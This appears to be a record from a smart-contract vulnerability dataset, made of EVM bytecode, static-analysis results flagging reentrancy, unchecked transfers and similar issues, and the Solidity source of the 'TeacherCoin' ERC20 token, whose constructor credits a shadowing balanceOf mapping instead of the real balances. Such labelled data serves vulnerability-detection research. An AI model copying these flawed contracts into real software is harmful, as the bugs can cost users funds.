626565b60405162461bcd60e51b81526004018080602001828103825260238152602001806130556023913960400191505060405180910390fd5b50005b34801561063557600080fd5b506106626004803603604081101561064c57600080fd5b506001600160a01b0381351690602001356115c0565b604080516001600160a01b039092168252519081900360200190f35b34801561068a57600080fd5b506106b7600480360360408110156106a157600080fd5b506001600160a01b038135169060200135611603565b6040805160ff90951685526020850193909352838301919091526001600160a01b03166060830152519081900360800190f35b3480156106f657600080fd5b5061071d6004803603602081101561070d57600080fd5b50356001600160a01b0316611718565b60408051918252519081900360200190f35b6107586004803603604081101561074557600080fd5b508035906020013563ffffffff16611183565b005b34801561076657600080fd5b5061066261173a565b34801561077b57600080fd5b506106626004803603602081101561079257600080fd5b50356001600160a01b0316611749565b3480156107ae57600080fd5b506107d5600480360360208110156107c557600080fd5b50356001600160a01b0316611a50565b604080519115158252519081900360200190f35b3480156107f557600080fd5b5061071d6004803603602081101561080c57600080fd5b50356001600160a01b0316611ab9565b34801561082857600080fd5b5061084f6004803603602081101561083f57600080fd5b50356001600160a01b0316611acb565b6040805160ff9092168252519081900360200190f35b34801561087157600080fd5b5061071d611bbf565b34801561088657600080fd5b506106626004803603604081101561089d57600080fd5b506001600160a01b038135169060200135611bc5565b3480156108bf57600080fd5b506106b7600480360360408110156108d657600080fd5b506001600160a01b038135169060200135611bec565b3480156108f857600080fd5b5061091f6004803603602081101561090f57600080fd5b50356001600160a01b0316611cdb565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561095b578181015183820152602001610943565b505050509050019250505060405180910390f35b34801561097b57600080fd5b506109a26004803603602081101561099257600080fd5b50356001600160a01b0316611d54565b604080519a15158b5260208b0199909952898901979097526060890195909552608088019390935267ffffffffffffffff91821660a0880152811660c087015290811660e08601529081166101008501521661012083015251908190036101400190f35b61075860048036036040811015610a1c57600080fd5b50803560ff16906020013563ffffffff16610f36565b348015610a3e57600080fd5b5061066260048036036040811015610a5557600080fd5b506001600160a01b038135169060200135611dc1565b348015610a7757600080fd5b5061084f60048036036020811015610a8e57600080fd5b503560ff16611de8565b348015610aa457600080fd5b50610662611dfd565b348015610ab957600080fd5b5061075860048036036020811015610ad057600080fd5b5035611e0c565b348015610ae357600080fd5b5061075860048036036020811015610afa57600080fd5b50356001600160a01b0316611f16565b348015610b1657600080fd5b5061071d611f80565b348015610b2b57600080fd5b5061071d611f86565b348015610b4057600080fd5b5061066260048036036040811015610b5757600080fd5b506001600160a01b038135169060200135611fd6565b348015610b7957600080fd5b5061075860048036036020811015610b9057600080fd5b50356001600160a01b0316611ffd565b348015610bac57600080fd5b5061066260048036036020811015610bc357600080fd5b5035612067565b348015610bd657600080fd5b5061071d60048036036020811015610bed57600080fd5b50356001600160a01b0316612082565b348015610c0957600080fd5b5061066260048036036040811015610c2057600080fd5b506001600160a01b038135169060200135612094565b348015610c4257600080fd5b5061071d60048036036020811015610c5957600080fd5b50356001600160a01b03166120bb565b348015610c7557600080fd5b50610ca260048036036040811015610c8c57600080fd5b506001600160a01b0381351690602001356120cd565b6040805160ff9094168452602084019290925263ffffffff1682820152519081900360600190f35b348015610cd657600080fd5b5061075860048036036020811015610ced57600080fd5b50356001600160a01b03166121ae565b348015610d0957600080fd5b5061071d612237565b348015610d1e57600080fd5b5061066261223d565b348015610d3357600080fd5b50610d3c612253565b6040805167ffffffffffffffff9092168252519081900360200190f35b348015610d6557600080fd5b5061091f612263565b348015610d7a57600080fd5b5061071d60048036036040811015610d9157600080fd5b5080356001600160a01b0316906020013560ff16612348565b348015610db657600080fd5b5061075860048036036020811015610dcd57600080fd5b50356001600160a01b0316612378565b348015610de957600080fd5b5061071d6123f8565b348015610dfe57600080fd5b5061084f6123fe565b348015610e1357600080fd5b5061066260048036036020811015610e2a57600080fd5b503561240e565b348015610e3d57600080fd5b5061071d60048036036020811015610e5457600080fd5b50356001600160a01b0316612435565b348015610e7057600080fd5b50610758612447565b348015610e8557600080fd5b5061071d60048036036020811015610e9c57600080fd5b503560ff166124bf565b348015610eb257600080fd5b506106626124d1565b348015610ec757600080fd5b5061071d6124e0565b348015610edc57600080fd5b5061075860048036036020811015610ef357600080fd5b50356001600160a01b03166124e6565b348015610f0f57600080fd5b5061075860048036036020811015610f2657600080fd5b50356001600160a01b0316612637565b60ff82166000908152600c602052604090205482903414610f9a576040805162461bcd60e51b8152602060048201526019602482015278125b9d985b1a59081b195d995b08185b5bdd5b9d081cd95b9d603a1b604482015290519081900360640190fd5b336000908152600a602052604090205460ff16610fef576040805162461bcd60e51b815260206004820152600e60248201526d155cd95c881b9bdd08195e1a5cdd60921b604482015290519081900360640190fd5b60008360ff161180156110065750600a8360ff1611155b611049576040805162461bcd60e51b815260206004820152600f60248201526e125b98dbdc9c9958dd081b195d995b608a1b604482015290519081900360640190fd5b60015b8360ff168160ff1610156110d057336000908152600a6020908152604080832060ff85168452600c019091529020544211156110c8576040805162461bcd60e51b8152602060048201526016602482015275109d5e481d1a19481c1c995d9a5bdd5cc81b195d995b60521b604482015290519081900360640190fd5b60010161104c565b50336000818152600a602081815260408084206003808201548652600b808552838720546001600160a01b039081168089528787528589208401548952828752858920548216808a52888852868a208501548a52838852868a20548316808b52988852868a209094015489529186528488205460045460ff8e168a52600c9095019096529390962042909201909155939491169061117390858585858c8c6126a1565b50505050505050565b6014015190565b336000908152600a6020526040902060010154156111e8576040805162461bcd60e51b815260206004820152601a60248201527f5573657220697320616c72656164792072656769737465726564000000000000604482015290519081900360640190fd5b336000908152600a602052604090205460ff1615611243576040805162461bcd60e51b8152602060048201526013602482015272155cd95c88191bd95cc81b9bdd08195e1a5cdd606a1b604482015290519081900360640190fd5b81600081118015611260575060065467ffffffffffffffff168111155b6112a7576040805162461bcd60e51b8152602060048201526013602482015272125b9d985b1a59081c9959995c9c995c881251606a1b604482015290519081900360640190fd5b60016000819052600c6020527fd421a5181c571bba3f01190c922c3b2a896fc1d84e86c9f17ac10e67ebef8b5c543414611324576040805162461bcd60e51b8152602060048201526019602482015278125b9d985b1a59081b195d995b08185b5bdd5b9d081cd95b9d603a1b604482015290519081900360640190fd5b6000848152600b60208181526040808420546001600160a01b03908116808652600a8085528387206003808201548952878752858920548516808a52838852868a208201548a52888852868a20548616808b52848952878b208301548b5298885295892054905498849052919095526007909401548a969195939490921691106113dc57600a60006113b586611749565b6001600160a01b03166001600160a01b031681526020019081526020016000206001015498505b6113e733868b6127fa565b600454336000818152600a602081815260408084206001808652600c9091018352818520429097019096558e8452600b808352818520546001600160a01b0390811686528484528286206007018054808a0182559087528487200180546001600160a01b031990811689179091558c82168752838720600881018054808c01825590895286892001805483168a1790558c83168852848820600981018054808d018255908a52878a2001805484168b1790558c841689528589209788018054808d018255908a52878a2001805484168b179055928b168089529488209384018054808c0182559089529588209095018054909116881790556005938401805467ffffffffffffffff600160401b80830482168c0182160267ffffffffffffffff60401b19909216919091179091559084018054600160801b80820484168b0184160267ffffffffffffffff60801b19909116179055929093018054600160c01b808204851689018516026001600160c01b039091161790559092526006018054808316850190921667ffffffffffffffff199092169190911790556115949186908690869086908e6126a1565b6000898152600b60205260409020546115b5906001600160a01b0316612a8b565b505050505050505050565b6001600160a01b0382166000908152600a602052604081206007018054839081106115e757fe5b6000918252602090912001546001600160a01b03169392505050565b6001600160a01b0382166000908152600f602052604081206001018054829182918291908690811061163157fe5b6000918252602080832081830401546001600160a01b038a168452600f90915260409092206003018054601f9092166101000a90920460ff1691908790811061167657fe5b9060005260206000200154600f6000896001600160a01b03166001600160a01b0316815260200190815260200160002060040187815481106116b457fe5b9060005260206000200154600f60008a6001600160a01b03166001600160a01b0316815260200190815260200160002060020188815481106116f257fe5b600091825260209091200154929991985096506001600160a01b03909116945092505050565b6001600160a01b0381166000908152600a60205260409020600101545b919050565b6000546001600160a01b031681565b6001600160a01b0381166000908152600a602052604081205460ff166117a7576040805162461bcd60e51b815260206004820152600e60248201526d155cd95c881b9bdd08195e1a5cdd60921b604482015290519081900360640190fd5b6003546001600160a01b0383166000908152600a602052604090206007015410156117d3575080611735565b6117db612faa565b6001600160a01b0383166000908152600a60205260408120600701805490919061180157fe5b6000918252602080832091909101546001600160a01b03908116845285168252600a9052604090206007018054600190811061183957fe5b60009182526020808320909101546001600160a01b031690830152805b613ffe8161ffff1610156119f857600354600a6000858461ffff16613ffe811061187c57fe5b60200201516001600160a01b03166001600160a01b031681526020019081526020016000206007018054905010156118cb57828161ffff16613ffe81106118bf57fe5b602002015191506119f8565b611ffe8161ffff16106118dd576119f0565b600a6000848361ffff16613ffe81106118f257fe5b60200201516001600160a01b03166001600160a01b0316815260200190815260200160002060070160008154811061192657fe5b6000918252602090912001546001600160a01b03168361ffff6002600185010216613ffe811061195257fe5b6001600160a01b039092166020929092020152600a60008461ffff8416613ffe811061197a57fe5b60200201516001600160a01b03166001600160a01b031681526020019081526020016000206007016001815481106119ae57fe5b6000918252602090912001546001600160a01b03168360018381016002020161ffff16613ffe81106119dc57fe5b6001600160a01b0390921660209290920201525b600101611856565b506001600160a01b038116611a49576040805162461bcd60e51b8152602060048201526012602482015271149959995c9c995c881b9bdd08199bdd5b9960721b604482015290519081900360640190fd5b9392505050565b60006001600160a01b038216611a6557600080fd5b6000805b600154811015611ab257836001600160a01b031660098281548110611a8a57fe5b6000918252602090912001546001600160a01b03161415611aaa57600191505b600101611a69565b5092915050565b60116020526000908152604090205481565b600042611ad9836001612348565b1015611ae757506000611735565b42611af3836002612348565b1015611b0157506001611735565b42611b0d836003612348565b1015611b1b57506002611735565b42611b27836004612348565b1015611b3557506003611735565b42611b41836005612348565b1015611b4f57506004611735565b42611b5b836006612348565b1015611b6957506005611735565b42611b75836007612348565b1015611b8357506006611735565b42611b8f836008612348565b1015611b9d57506007611735565b42611ba9836009612348565b1015611bb757506008611735565b506009611735565b60015481565b6001600160a01b0382166000908152600a602052604081206009018054839081106115e757fe5b6001600160a01b038216600090815260106020526040812060010180548291829182919086908110611c1a57fe5b6000918252602080832081830401546001600160a01b038a168452601090915260409092206003018054601f9092166101000a90920460ff16919087908110611c5f57fe5b906000526020600020015460106000896001600160a01b03166001600160a01b031681526020019081526020016000206004018781548110611c9d57fe5b9060005260206000200154601060008a6001600160a01b03166001600160a01b0316815260200190815260200160002060020188815481106116f257fe5b6001600160a01b0381166000908152600a6020908152604091829020600701805483518184028101840190945280845260609392830182828015611d4857602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611d2a575b50505050509050919050565b600a60205260009081526040902080546001820154600283015460038401546004850154600586015460069096015460ff90951695939492939192909167ffffffffffffffff80821692600160401b8304821692600160801b8104831692600160c01b909104811691168a565b6001600160a01b0382166000908152600a602081905260408220018054839081106115e757fe5b600d6020526000908152604090205460ff1681565b6007546001600160a01b031681565b600654604080516323b872dd60e01b8152336004820152306024820152604481018490529051600160481b9092046001600160a01b03169182916323b872dd9160648083019260209291908290030181600087803b158015611e6d57600080fd5b505af1158015611e81573d6000803e3d6000fd5b505050506040513d6020811015611e9757600080fd5b5051611eea576040805162461bcd60e51b815260206004820152601760248201527f546f6b656e205472616e73666572206661696c65642021000000000000000000604482015290519081900360640190fd5b506006546001600160a01b03600160481b90910416600090815260116020526040902080549091019055565b611f1f33611a50565b611f5e576040805162461bcd60e51b815260206004820152600b60248201526a4f6e6c792041646d696e7360a81b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b60045481565b6000611f9133611a50565b611fd0576040805162461bcd60e51b815260206004820152600b60248201526a4f6e6c792041646d696e7360a81b604482015290519081900360640190fd5b50475b90565b6001600160a01b0382166000908152600a602052604081206008018054839081106115e757fe5b61200633611a50565b612045576040805162461bcd60e51b815260206004820152600b60248201526a4f6e6c792041646d696e7360a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b600b602052600090815260409020546001600160a01b031681565b600e6020526000908152604090205481565b6001600160a01b0382166000908152600a60205260408120600b018054839081106115e757fe5b60106020526000908152604090205481565b6001600160a01b0382166000908152600e60205260408120600201805482918291859081106120f857fe5b6000918252602080832081830401546001600160a01b0389168452600e90915260409092206001018054601f9092166101000a90920460ff1691908690811061213d57fe5b9060005260206000200154600e6000886001600160a01b03166001600160a01b03168152602001908152602001600020600301868154811061217b57fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff169250925092509250925092565b6121b733611a50565b6121f6576040805162461bcd60e51b815260206004820152600b60248201526a4f6e6c792041646d696e7360a81b604482015290519081900360640190fd5b600680546001600160a01b03909216600160481b027fffffff0000000000000000000000000000000000000000ffffffffffffffffff909216919091179055565b60025481565b600654600160481b90046001600160a01b031681565b60065467ffffffffffffffff1681565b606061226e33611a50565b6122ad576040805162461bcd60e51b815260206004820152600b60248201526a4f6e6c792041646d696e7360a81b604482015290519081900360640190fd5b60606001546040519080825280602002602001820160405280156122db578160200160208202803883390190505b50905060005b60015481101561234257600981815481106122f857fe5b9060005260206000200160009054906101000a90046001600160a01b031682828151811061232257fe5b6001600160a01b03909216602092830291909101909101526001016122e1565b50905090565b6001600160a01b0382166000908152600a6020908152604080832060ff85168452600c0190915290205492915050565b6001600160a01b03811661238b57600080fd5b61239481611a50565b1561239e57600080fd5b60098054600180820183556000929092527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319166001600160a01b039390931692909217909155805481019055565b60055481565b600654600160401b900460ff1681565b6009818154811061241b57fe5b6000918252602090912001546001600160a01b0316905081565b600f6020526000908152604090205481565b6008546040805163255bcdf360e11b815290516001600160a01b03909216918291634ab79be6916004808301926020929190829003018186803b15801561248d57600080fd5b505afa1580156124a1573d6000803e3d6000fd5b505050506040513d60208110156124b757600080fd5b505160055550565b600c6020526000908152604090205481565b6008546001600160a01b031681565b60035481565b6124ef33611a50565b61252e576040805162461bcd60e51b815260206004820152600b60248201526a4f6e6c792041646d696e7360a81b604482015290519081900360640190fd5b61253781611a50565b801561254c57506001600160a01b0381163314155b61255557600080fd5b60005b60015481101561263357816001600160a01b03166009828154811061257957fe5b6000918252602090912001546001600160a01b0316141561262b576009805460001981019081106125a657fe5b600091825260209091200154600980546001600160a01b0390921691839081106125cc57fe5b600091825260209091200180546001600160a01b0319166001600160a01b039290921691909117905560098054600019810190811061260757fe5b600091825260209091200180546001600160a01b0319169055600180546000190190555b600101612558565b5050565b61264033611a50565b61267f576040805162461bcd60e51b815260206004820152600b60248201526a4f6e6c792041646d696e7360a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60ff82166000908152600c60205260409020546126c2888885600185612b35565b90506126d2888785600285612b35565b90506126e2888685600385612b35565b90506126f2888585600485612b35565b90506126fe8389612bfc565b6001600160a01b038981166000908152600e60209081526040808320600180820180548083018255908652848620429101556002820180548083018255908652848620858204018054601f90921661010090810a60ff81810219909416938e1602929092179055600390920180549182018155855292842060088404018054600790941660040290910a63ffffffff818102199094169389160292909217909155815490519390940393909291169083908381818185875af1925050503d80600081146127e7576040519150601f19603f3d011682016040523d82523d6000602084013e6127ec565b606091505b505050505050505050505050565b6006805467ffffffffffffffff8082166001908101821667ffffffffffffffff199093169290921792839055604080516101e081018252928352921660208083019190915281830184905260608201859052426080830152600060a0830181905260c0830181905260e0830181905261010083018190526101208301819052835181815280830185526101408401528351818152808301855261016084015283518181528083018552610180840152835181815280830185526101a0840152835181815291820190935290916101c0830191905090526001600160a01b0384166000908152600a60209081526040918290208351815490151560ff19909116178155838201516001820155918301516002830155606083015160038301556080830151600483015560a083015160058301805460c086015160e087015161010088015167ffffffffffffffff908116600160c01b026001600160c01b03928216600160801b0267ffffffffffffffff60801b19948316600160401b0267ffffffffffffffff60401b1998841667ffffffffffffffff199788161798909816979097179390931695909517161790915561012085015160068501805491909316911617905561014083015180516129d69260078501920190612fcb565b5061016082015180516129f3916008840191602090910190612fcb565b506101808201518051612a10916009840191602090910190612fcb565b506101a08201518051612a2d91600a840191602090910190612fcb565b506101c08201518051612a4a91600b840191602090910190612fcb565b505060065467ffffffffffffffff166000908152600b6020526040902080546001600160a01b0319166001600160a01b039590951694909417909355505050565b60008060015b600d8160ff1611612b2f5782612b27576001600160a01b0384166000908152600a6020526040902060058101805467ffffffffffffffff198116600167ffffffffffffffff928316810190921617909155908101549250821415612af85760019250612b27565b6001600160a01b039384166000908152600a60209081526040808320600201548352600b909152902054909316925b600101612a91565b50505050565b60ff8381166000818152600c60209081526040808320548786168452600d909252822054859491936064919092168402049190612b7189611acb565b60ff1610612be3576040516001600160a01b038916908390600081818185875af1925050503d8060008114612bc2576040519150601f19603f3d011682016040523d82523d6000602084013e612bc7565b606091505b505080915050612bd986898b85612e5a565b8185039350612bf0565b612bf06000898b85612e5a565b50505095945050505050565b6001600160a01b0381166000908152600a602052604081205460ff16612c5a576040805162461bcd60e51b815260206004820152600e60248201526d155cd95c881b9bdd08195e1a5cdd60921b604482015290519081900360640190fd5b60065460ff8085166000908152600c6020526040812054909283928392879260048a0183169285928492606492600160401b90910416020481612c9957fe5b049050600060055482670de0b6b3a76400000281612cb357fe5b049050600060015b848160ff1611612de9576001600160a01b038087166000908152600a6020908152604080832060020154808452600b90925290912054909a50169750612d0088611acb565b96508b60ff168760ff161015612d2257612d1d6000898d86612f02565b612dde565b600680546001600160a01b03600160481b918290048116600090815260116020908152604080832080548a900390559454855163a9059cbb60e01b81528e85166004820152602481018a9052955194900490921693849363a9059cbb9360448084019491938390030190829087803b158015612d9d57600080fd5b505af1158015612db1573d6000803e3d6000fd5b505050506040513d6020811015612dc757600080fd5b50612dd69050828a8e87612f02565b600183019250505b879550600101612cbb565b5082810298508015612e4c576007546040516000916001600160a01b0316908b908381818185875af1925050503d8060008114612e42576040519150601f19603f3d011682016040523d82523d6000602084013e612e47565b606091505b505050505b505050505050505092915050565b6001600160a01b0392831660009081526010602090815260408220600180820180548083018255908552838520848204018054601f9092166101000a60ff818102199093169a909216919091029890981790975560028101805480890182559084528284200180546001600160a01b03191695909616949094179094556003830180548087018255908252848220019190915560049091018054938401815581522042910155565b6001600160a01b039283166000908152600f602090815260408220600180820180548083018255908552838520848204018054601f9092166101000a60ff818102199093169a909216919091029890981790975560028101805480890182559084528284200180546001600160a01b03191695909616949094179094556003830180548087018255908252848220019190915560049091018054938401815581522042910155565b604051806207ffc00160405280613ffe906020820280388339509192915050565b828054828255906000526020600020908101928215613020579160200282015b8281111561302057825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190612feb565b5061302c929150613030565b5090565b611fd391905b8082111561302c5780546001600160a01b031916815560010161303656fe506c6561736520627579206669727374206c6576656c20666f7220302e303520455448a265627a7a723158208baa02303054fc9b24d4f336d4c2254a1e8a057ceac73980b66077920da0c73a64736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,150 |
0xf32e80276a34cda265f706a576d68ddff3c583d5
|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// Teachers Coin token contract
//
// Deployed to : 0x448858e6DB8E2e72De3593CbeC326dEdBA085A13
// Symbol : TEACH
// Name : TeacherCoin
// Total supply: 300000000000000000000000000
// Decimals : 18
// ----------------------------------------------------------------------------
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic is owned {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// Only unsold tokens will be burned irreversibly
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract DetailedERC20 is BurnableToken {
string public name;
string public symbol;
uint8 public decimals;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
function DetailedERC20() public {
balanceOf[msg.sender] = 300000000000000000000000000;
totalSupply = 300000000000000000000000000;
name = 'TeacherCoin';
symbol = 'TEACH';
decimals = 18;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract TeacherCoin is DetailedERC20 {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
|
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101ca57806323b872dd146101f5578063313ce5671461027a57806342966c68146102ab57806366188463146102d857806370a082311461033d5780638da5cb5b1461039457806395d89b41146103eb578063a9059cbb1461047b578063d73dd623146104e0578063dd62ed3e14610545578063f2fde38b146105bc575b600080fd5b3480156100e157600080fd5b506100ea6105ff565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069d565b604051808215151515815260200191505060405180910390f35b3480156101d657600080fd5b506101df61078f565b6040518082815260200191505060405180910390f35b34801561020157600080fd5b50610260600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610795565b604051808215151515815260200191505060405180910390f35b34801561028657600080fd5b5061028f610b54565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102b757600080fd5b506102d660048036038101908080359060200190929190505050610b67565b005b3480156102e457600080fd5b50610323600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cbc565b604051808215151515815260200191505060405180910390f35b34801561034957600080fd5b5061037e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f4d565b6040518082815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610f65565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103f757600080fd5b50610400610f8a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610440578082015181840152602081019050610425565b50505050905090810190601f16801561046d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561048757600080fd5b506104c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611028565b604051808215151515815260200191505060405180910390f35b3480156104ec57600080fd5b5061052b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061124c565b604051808215151515815260200191505060405180910390f35b34801561055157600080fd5b506105a6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611448565b6040518082815260200191505060405180910390f35b3480156105c857600080fd5b506105fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114cf565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106955780601f1061066a57610100808354040283529160200191610695565b820191906000526020600020905b81548152906001019060200180831161067857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107d257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561082057600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108ab57600080fd5b6108fd82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158690919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6482600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffff